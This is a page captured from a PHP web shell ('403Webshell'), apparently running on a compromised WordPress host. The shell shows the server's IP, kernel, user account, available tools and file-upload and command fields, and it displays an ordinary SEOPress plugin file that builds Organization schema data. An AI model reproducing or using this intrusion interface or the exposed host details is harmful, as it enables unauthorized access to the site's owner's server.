403Webshell
Server IP : 87.98.154.146  /  Your IP : 216.73.216.165
Web Server : Apache
System : Linux webm004.cluster126.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : ohklomafyi ( 52085)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/ohklomafyi/www/wp-content/plugins/wp-seopress/src/JsonSchemas/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/ohklomafyi/www/wp-content/plugins/wp-seopress/src/JsonSchemas/Organization.php
<?php

namespace SEOPress\JsonSchemas;

if ( ! defined('ABSPATH')) {
    exit;
}

use SEOPress\Helpers\RichSnippetType;
use SEOPress\Models\GetJsonData;
use SEOPress\Models\JsonSchemaValue;

class Organization extends JsonSchemaValue implements GetJsonData {
    const NAME = 'organization';

    protected function getName() {
        return self::NAME;
    }

    /**
     * @since 4.5.0
     *
     * @param array $context
     *
     * @return array
     */
    public function getJsonData($context = null) {
        $data = $this->getArrayJson();

        $typeSchema = isset($context['type']) ? $context['type'] : RichSnippetType::DEFAULT_SNIPPET;

        switch ($typeSchema) {
            default:
                $variables = [
                    'type'                   => '%%knowledge_type%%',
                    'name'                   => '%%social_knowledge_name%%',
                    'alternate_name'         => '%%site_alternate_name%%',
                    'description'            => '%%social_knowledge_description%%',
                    'url'                    => '%%siteurl%%',
                    'logo'                   => '%%social_knowledge_image%%',
                    'account_facebook'       => '%%social_account_facebook%%',
                    'account_twitter'        => '%%social_account_twitter%%',
                    'account_pinterest'      => '%%social_account_pinterest%%',
                    'account_instagram'      => '%%social_account_instagram%%',
                    'account_youtube'        => '%%social_account_youtube%%',
                    'account_linkedin'       => '%%social_account_linkedin%%',
                    'account_extra'          => '%%social_account_extra%%',
                    'tax_id'                 => '%%social_knowledge_tax_id%%',
                ];
                break;

            case RichSnippetType::SUB_TYPE:
                $variables = isset($context['variables']) ? $context['variables'] : [];
                break;
        }

        $data = seopress_get_service('VariablesToString')->replaceDataToString($data, $variables);

        $type = seopress_get_service('SocialOption')->getSocialKnowledgeType();

        if ('Organization' === $type) {
            // Use "contactPoint"
            $schema = seopress_get_service('JsonSchemaGenerator')->getJsonFromSchema(ContactPoint::NAME, $context, ['remove_empty'=> true]);
            if (count($schema) > 1) {
                $data['contactPoint'][] = $schema;
            }
        }

        // Not Organization -> Like Is Person
        else {
            // Remove "logo"
            if (array_key_exists('logo', $data)) {
                unset($data['logo']);
            }
        }

        return apply_filters('seopress_get_json_data_organization', $data);
    }

    /**
     * @since 4.5.0
     *
     * @param  $data
     *
     * @return array
     */
    public function cleanValues($data) {
        if (isset($data['sameAs'])) {
            $data['sameAs'] = array_values($data['sameAs']);

            // Create a new empty array to store the updated values
            $newArray = [];

            // Loop through the original array
            foreach ($data['sameAs'] as $value) {
                // Check if the value contains a line break
                if (strpos($value, PHP_EOL) !== false) {
                    // If it does, split the value into an array based on the line breaks
                    $splitValues = explode(PHP_EOL, $value);
                    // Add each split value to the new array
                    foreach ($splitValues as $splitValue) {
                        $splitValue = str_replace(["\r", "\n"], '', $splitValue);
                        $newArray[] = $splitValue;
                    }
                } else {
                    // If it doesn't, simply add the original value to the new array
                    $newArray[] = $value;
                }
            }

            $data['sameAs'] = $newArray;

            if (empty($data['sameAs'])) {
                unset($data['sameAs']);
            }
        }

        return parent::cleanValues($data);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit